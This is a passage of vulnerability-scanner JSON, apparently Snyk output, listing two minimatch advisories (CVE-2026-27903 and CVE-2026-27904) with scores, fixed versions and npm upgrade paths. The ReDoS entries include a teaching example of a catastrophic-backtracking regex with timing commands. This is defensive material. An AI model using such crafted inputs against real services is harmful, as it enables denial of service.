"cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- 